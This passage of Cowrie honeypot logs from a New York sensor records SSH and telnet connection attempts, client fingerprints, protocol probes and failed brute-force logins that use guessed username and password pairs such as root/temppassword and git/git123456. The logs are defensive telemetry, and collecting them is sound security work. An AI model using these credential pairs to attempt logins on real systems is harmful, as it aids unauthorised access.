,"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:54.685232Z","src_ip":"103.195.236.96","session":"aa0787b48654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19691969","message":"login attempt [root/19691969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:55.408269Z","src_ip":"103.195.236.96","session":"aa0787b48654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:01:56.647892Z","src_ip":"103.195.236.96","session":"aa0787b48654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.35865616798401,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:04.313485Z","src_ip":"152.42.224.71","session":"da98ee69efc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37942,"dst_ip":"159.203.135.109","dst_port":22,"session":"760511a3661c","protocol":"ssh","message":"New connection: 103.153.68.219:37942 (159.203.135.109:22) [session: 760511a3661c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:27.638823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:27.643173Z","src_ip":"103.153.68.219","session":"760511a3661c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:27.887202Z","src_ip":"103.153.68.219","session":"760511a3661c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temppassword","message":"login attempt [root/temppassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:28.619565Z","src_ip":"103.153.68.219","session":"760511a3661c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:29.865978Z","src_ip":"103.153.68.219","session":"760511a3661c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60068,"dst_ip":"159.203.135.109","dst_port":22,"session":"11158849eaf4","protocol":"ssh","message":"New connection: 109.237.96.109:60068 (159.203.135.109:22) [session: 11158849eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:34.695809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:34.701140Z","src_ip":"109.237.96.109","session":"11158849eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:34.793143Z","src_ip":"109.237.96.109","session":"11158849eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.157.177","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"b44566222e96","protocol":"telnet","message":"New connection: 47.253.157.177:55934 (10.17.0.5:23) [session: b44566222e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:35.045067Z"}
{"eventid":"cowrie.session.closed","duration":0.012445211410522461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:35.057397Z","src_ip":"47.253.157.177","session":"b44566222e96","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"n123456","message":"login attempt [root/n123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:35.385649Z","src_ip":"109.237.96.109","session":"11158849eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:36.479775Z","src_ip":"109.237.96.109","session":"11158849eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":50192,"dst_ip":"159.203.135.109","dst_port":22,"session":"3558f75ce07f","protocol":"ssh","message":"New connection: 176.65.148.108:50192 (159.203.135.109:22) [session: 3558f75ce07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:52.417614Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:52.502774Z","src_ip":"176.65.148.108","session":"3558f75ce07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":50202,"dst_ip":"159.203.135.109","dst_port":22,"session":"5414d865c229","protocol":"ssh","message":"New connection: 176.65.148.108:50202 (159.203.135.109:22) [session: 5414d865c229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:52.581135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:52.585806Z","src_ip":"176.65.148.108","session":"5414d865c229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:52.668986Z","src_ip":"176.65.148.108","session":"5414d865c229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"1","message":"login attempt [a/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:52.918582Z","src_ip":"176.65.148.108","session":"5414d865c229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:54.004080Z","src_ip":"176.65.148.108","session":"5414d865c229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50202,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed38b421363d","protocol":"ssh","message":"New connection: 152.42.212.128:50202 (159.203.135.109:22) [session: ed38b421363d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:58.729131Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:58.733969Z","src_ip":"152.42.212.128","session":"ed38b421363d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:02:58.737823Z","src_ip":"152.42.212.128","session":"ed38b421363d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59114,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b70cbaafe4d","protocol":"telnet","message":"New connection: 152.42.224.71:59114 (10.17.0.5:23) [session: 2b70cbaafe4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:33.754789Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":55124,"dst_ip":"159.203.135.109","dst_port":22,"session":"48851db3fc3b","protocol":"ssh","message":"New connection: 43.130.29.69:55124 (159.203.135.109:22) [session: 48851db3fc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:44.847014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:44.857117Z","src_ip":"43.130.29.69","session":"48851db3fc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:44.927184Z","src_ip":"43.130.29.69","session":"48851db3fc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:45.240565Z","src_ip":"43.130.29.69","session":"48851db3fc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:46.313684Z","src_ip":"43.130.29.69","session":"48851db3fc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.233","src_port":37109,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4febcac2e74","protocol":"ssh","message":"New connection: 91.231.89.233:37109 (159.203.135.109:22) [session: c4febcac2e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:53.259470Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:53.283523Z","src_ip":"91.231.89.233","session":"c4febcac2e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.235","src_port":38761,"dst_ip":"159.203.135.109","dst_port":22,"session":"81e2d68ea095","protocol":"ssh","message":"New connection: 91.231.89.235:38761 (159.203.135.109:22) [session: 81e2d68ea095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:03:53.356873Z"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:03.445740Z","src_ip":"91.231.89.235","session":"81e2d68ea095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.32683825492859,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:17.081491Z","src_ip":"152.42.224.71","session":"2b70cbaafe4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.146","src_port":56293,"dst_ip":"159.203.135.109","dst_port":22,"session":"07fc87e99abd","protocol":"ssh","message":"New connection: 91.231.89.146:56293 (159.203.135.109:22) [session: 07fc87e99abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:17.388696Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xe3z?\u0013l\"\\xdb\"\\xfc\\xff\\xf4;\u0001\\xdb\"\\xd1<\\xd0\\xc88\\xf8\u058f%-\\xff\\x9e\\xe3js\\xb9' r\\x8f\\xba\\xc2}\\xf2i\\xbe\u0013\u007f\\x96\\xc9={4\"mo\u0012so\\xa3\\x9f\\xae4\\xef\"\\xa9\\xca\\xd2\\xe1\\x94\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xe3z?\u0013l\"\\xdb\"\\xfc\\xff\\xf4;\u0001\\xdb\"\\xd1<\\xd0\\xc88\\xf8\u058f%-\\xff\\x9e\\xe3js\\xb9' r\\x8f\\xba\\xc2}\\xf2i\\xbe\u0013\u007f\\x96\\xc9={4\"mo\u0012so\\xa3\\x9f\\xae4\\xef\"\\xa9\\xca\\xd2\\xe1\\x94\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:17.393305Z","src_ip":"91.231.89.146","session":"07fc87e99abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:17.401053Z","src_ip":"91.231.89.146","session":"07fc87e99abd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.239","src_port":49859,"dst_ip":"159.203.135.109","dst_port":22,"session":"d30d8ae5a522","protocol":"ssh","message":"New connection: 91.231.89.239:49859 (159.203.135.109:22) [session: d30d8ae5a522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:17.548662Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:20.554994Z","src_ip":"91.231.89.239","session":"d30d8ae5a522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.112.62.144","src_port":57150,"dst_ip":"10.17.0.5","dst_port":22,"session":"403329b9719d","protocol":"ssh","message":"New connection: 103.112.62.144:57150 (10.17.0.5:22) [session: 403329b9719d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:39.877440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:39.881981Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:40.103636Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:9a:7f:48:b1:a1:a0:fa:1e:7e:67:02:91:d8:4f:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8jawPGIxvtjtSaM9EmMRZ4nVKUCsN4LT02Ag/kot3WTZgeDELfqnGpq1+lPwMhYuSsu/dMaPd8fqfPTGL2cMOBarFdNuKI4QfTSFpI8S8x/N26u+ITEfOXOPw2o469GTqyf9qbthh5nU/h0taTOuziqR11+0lB5vy2wfROedcX8SLVHomffobicNDZL7qt03Xr+M7Lcc2tRgBxrILxoNhOB6z106rG/7knlPeA5Y63EwRpkD+OVFgjT2a9SPWh8IAHuIWkbyKx0JrKPEtIBv3HLO77/yxsYDSTSOEWBAqum9a1GD9nGaJnbssCtZDDlWTSRGgguamG+BB5Qq9WxS/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:9a:7f:48:b1:a1:a0:fa:1e:7e:67:02:91:d8:4f:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.194600Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:9a:7f:48:b1:a1:a0:fa:1e:7e:67:02:91:d8:4f:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8jawPGIxvtjtSaM9EmMRZ4nVKUCsN4LT02Ag/kot3WTZgeDELfqnGpq1+lPwMhYuSsu/dMaPd8fqfPTGL2cMOBarFdNuKI4QfTSFpI8S8x/N26u+ITEfOXOPw2o469GTqyf9qbthh5nU/h0taTOuziqR11+0lB5vy2wfROedcX8SLVHomffobicNDZL7qt03Xr+M7Lcc2tRgBxrILxoNhOB6z106rG/7knlPeA5Y63EwRpkD+OVFgjT2a9SPWh8IAHuIWkbyKx0JrKPEtIBv3HLO77/yxsYDSTSOEWBAqum9a1GD9nGaJnbssCtZDDlWTSRGgguamG+BB5Qq9WxS/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.198514Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
